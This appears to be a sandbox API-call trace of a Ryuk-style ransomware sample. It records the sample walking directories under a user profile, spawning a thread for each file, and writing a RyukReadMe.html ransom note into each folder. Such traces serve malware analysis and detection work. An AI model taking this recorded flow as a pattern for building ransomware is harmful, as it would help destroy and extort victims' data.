	[0269.538] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0269.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8
	[0269.542] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.542] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9a12c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1
	[0269.542] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0269.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8
	[0269.545] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.546] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9a12c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 0
	[0269.546] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0269.546] SetLastError (dwErrCode=0x0) 
	[0269.546] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0269.546] GetLastError () returned 0xb7
	[0269.547] CloseHandle (hObject=0x6f8) returned 1
	[0269.547] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1
	[0269.547] SetLastError (dwErrCode=0x0) 
	[0269.547] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0269.547] GetLastError () returned 0xb7
	[0269.547] CloseHandle (hObject=0x6f8) returned 1
	[0269.547] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0269.548] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0269.548] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 1
	[0269.548] SetLastError (dwErrCode=0x0) 
	[0269.548] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x76c
	[0269.549] GetLastError () returned 0x0
	[0269.549] WriteFile (in: hFile=0x76c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0269.551] CloseHandle (hObject=0x76c) returned 1
	[0269.551] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0269.552] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0269.552] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1f2, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="WMSDKNS.DTD", cAlternateFileName="")) returned 1
	[0269.552] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0269.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc
	[0269.554] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.555] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9269464, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x27cf, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="WMSDKNS.XML", cAlternateFileName="")) returned 1
	[0269.555] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0269.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4
	[0269.557] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.558] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9269464, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x27cf, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="WMSDKNS.XML", cAlternateFileName="")) returned 0
	[0269.558] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0269.558] SetLastError (dwErrCode=0x0) 
	[0269.558] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x76c
	[0269.559] GetLastError () returned 0x0
	[0269.559] WriteFile (in: hFile=0x76c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0269.561] CloseHandle (hObject=0x76c) returned 1
	[0269.561] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 0
	[0269.561] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0269.561] SetLastError (dwErrCode=0x0) 
	[0269.561] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0269.562] GetLastError () returned 0xb7
	[0269.562] CloseHandle (hObject=0x6f8) returned 1
	[0269.562] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1
	[0269.562] SetLastError (dwErrCode=0x0) 
	[0269.562] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0269.563] GetLastError () returned 0xb7
	[0269.563] CloseHandle (hObject=0x6f8) returned 1
	[0269.563] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0269.564] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0269.564] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1
	[0269.564] SetLastError (dwErrCode=0x0) 
	[0269.564] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x76c
	[0269.565] GetLastError () returned 0x0
	[0269.565] WriteFile (in: hFile=0x76c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0269.567] CloseHandle (hObject=0x76c) returned 1
	[0269.567] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\Gadgets\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0269.568] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0269.568] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0269.568] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0269.568] SetLastError (dwErrCode=0x0) 
	[0269.568] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\Gadgets\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\gadgets\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.568] GetLastError () returned 0x3
	[0269.568] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0269.568] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.568] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 1
	[0269.568] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 0
	[0269.569] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0269.569] SetLastError (dwErrCode=0x0) 
	[0269.569] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0269.569] GetLastError () returned 0xb7
	[0269.569] CloseHandle (hObject=0x6f8) returned 1
	[0269.569] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0
	[0269.569] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0269.569] SetLastError (dwErrCode=0x0) 
	[0269.569] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0269.570] GetLastError () returned 0xb7
	[0269.570] CloseHandle (hObject=0x6d4) returned 1
	[0269.570] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1
	[0269.570] SetLastError (dwErrCode=0x0) 
	[0269.570] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0269.571] GetLastError () returned 0xb7
	[0269.571] CloseHandle (hObject=0x6d4) returned 1
	[0269.571] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0269.571] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
